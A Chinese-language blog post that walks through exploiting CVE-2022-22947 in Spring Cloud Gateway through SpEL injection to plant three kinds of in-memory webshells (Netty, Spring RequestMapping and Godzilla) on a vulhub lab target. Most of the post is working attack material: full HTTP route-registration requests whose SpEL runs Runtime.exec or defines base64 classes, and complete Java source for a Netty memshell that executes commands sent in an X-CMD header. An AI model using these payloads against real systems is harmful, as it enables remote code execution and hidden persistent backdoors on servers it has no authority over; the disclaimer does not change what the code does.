Spring Cloud gateway 三种方式注入内存马(详细过程)

本文详述了在Spring Cloud Gateway中利用SPEL注入内存马的三种方法,包括c0ny1的Netty内存马、Spring内存马和哥斯拉马的实现过程。在复现过程中,作者强调了类路径的准确性、使用Java 1.8编译字节码以确保兼容性,并分享了相关资源链接。

申明

  免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!

一:背景

     之前打攻防的时候,内网遇到了Spring Cloud gateway,照着网上的代码,一下午就是搞不定,当时由于时间紧,就放弃了(实际上是自己菜),现在闲下来, 用一下午时间把三种方式都复现成功了。这里记录下过程及坑点

二:过程

首先漏洞环境就是用的vulhub上面的 docker,连接在下面

https://vulhub.org/#/environments/spring/CVE-2022-22947/

docker启动后访问页面如下

 先来按照vulhub的payload 打一遍试试

首先注册一个路由,这个路由的值,用SpEL表达式执行代码

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.27.250.78:8080
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

 添加路由成功后,服务器返回201

 此时路由还未生效,我们需要刷新下路由

 刷新完路由,查看下路由列表,发现代码已经执行了

最后我们删除这条路由

 这样就算是完成了一次利用,每次执行命令都要注册路由,刷新路由,很是麻烦,下面根据网上的大佬们改造

1:首先当然是c0ny1的netty内存马

具体请看如下链接

Spring cloud gateway通过SPEL注入内存马 | 回忆飘如雪

我本地是起了一个springboot的maven项目好引入相关依赖,主要是下面这两个包

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.0</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>  

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-webflux</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webflux</artifactId>
        </dependency>

然后我新建了一个包

com.example.demo.memshell

在这里把大佬的代码拷贝进来

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);

            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemshell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }


    @Override
    // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        ChannelPipeline pipeline=channel.pipeline();
        // 将内存马的handler添加到spring层handler的前面
        pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", new NettyMemshell());
    }

    @Override
    // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try{
                if(httpRequest.headers().contains("X-CMD")){
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    //返回执行结果
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        ctx.fireChannelRead(msg);
    }
    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}

具体原理,你们看大佬的分析就好,我什么都不懂!

然后编译下,生成class

我在我的springboot主程序里写了一段代码,把编译后的class字节码编码成base64的

  FileReader nettyMemShellfile = new FileReader("com/example/demo/memshell/NettyMemshell.class");
        String nettyBase64ByteCode= org.springframework.util.Base64Utils.encodeToString(nettyMemShellfile.readBytes());

   System.out.println("--------------");
        System.out.println("[*] NettyMemshell 注意此class路径为 【com.example.demo.memshell.NettyMemshell】 " + nettyBase64ByteCode);
        System.out.println("--------------");

 这样打印的时候就会显示出来

 然后就是按照上面的步骤开始注册路由

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8082
Connection: close
Content-Type: application/json
Content-Length: 8382

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.demo.memshell.NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vg....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl"
 
}

 刷新路由后,查看已经注册的,发现成功注册

 尝试下执行,成功了

 2:spring内存马

步骤跟上面一模一样,就是添加的时候要注意

,他是通过 这个bean获取的RequestMappingHandlerMapping

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 172.27.250.78:8080
Connection: close
Content-Type: application/json
Content-Length: 5358


{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.demo.memshell.SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA......'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl"
 
}

 3:哥斯拉马

参考这个大佬的代码

cve-2022-22947-godzilla-memshell/GMemShell.java at main · k4n5ha0/cve-2022-22947-godzilla-memshell · GitHub

同样的粘贴到我们的idea,生成字节码,打印base64

 添加路由

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.27.250.78:8080
Connection: close
Content-Type: application/json
Content-Length: 11109

{
"predicates":[{"name": "Path",
"args":{"_genkey_0":"/gmem/**"}
}
],
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.demo.memshell.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('base64的字节码'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
    }
  }],
  "uri": "http://test.com"
}

 刷新路由后,查看路由

 

 ok也成功了

 三:总结

1.提交请求包的时候一定要注意类路径要写正确,我有好几次不成功都是没写对

2.最好用java 1.8 编译字节码,兼容性比较好,不然会出现服务器版本和本地编译不一致的情况

参考资料:

CVE-2022-22947 注入哥斯拉内存马 – Whwlsfb's Tech Blog

Spring Cloud Gateway 注入哥斯拉内存马复现 - 国产大熊猫个人空间 - OSCHINA - 中文开源技术交流社区
Spring cloud gateway通过SPEL注入内存马 | 回忆飘如雪
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pyth0nn

送人玫瑰,手留余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值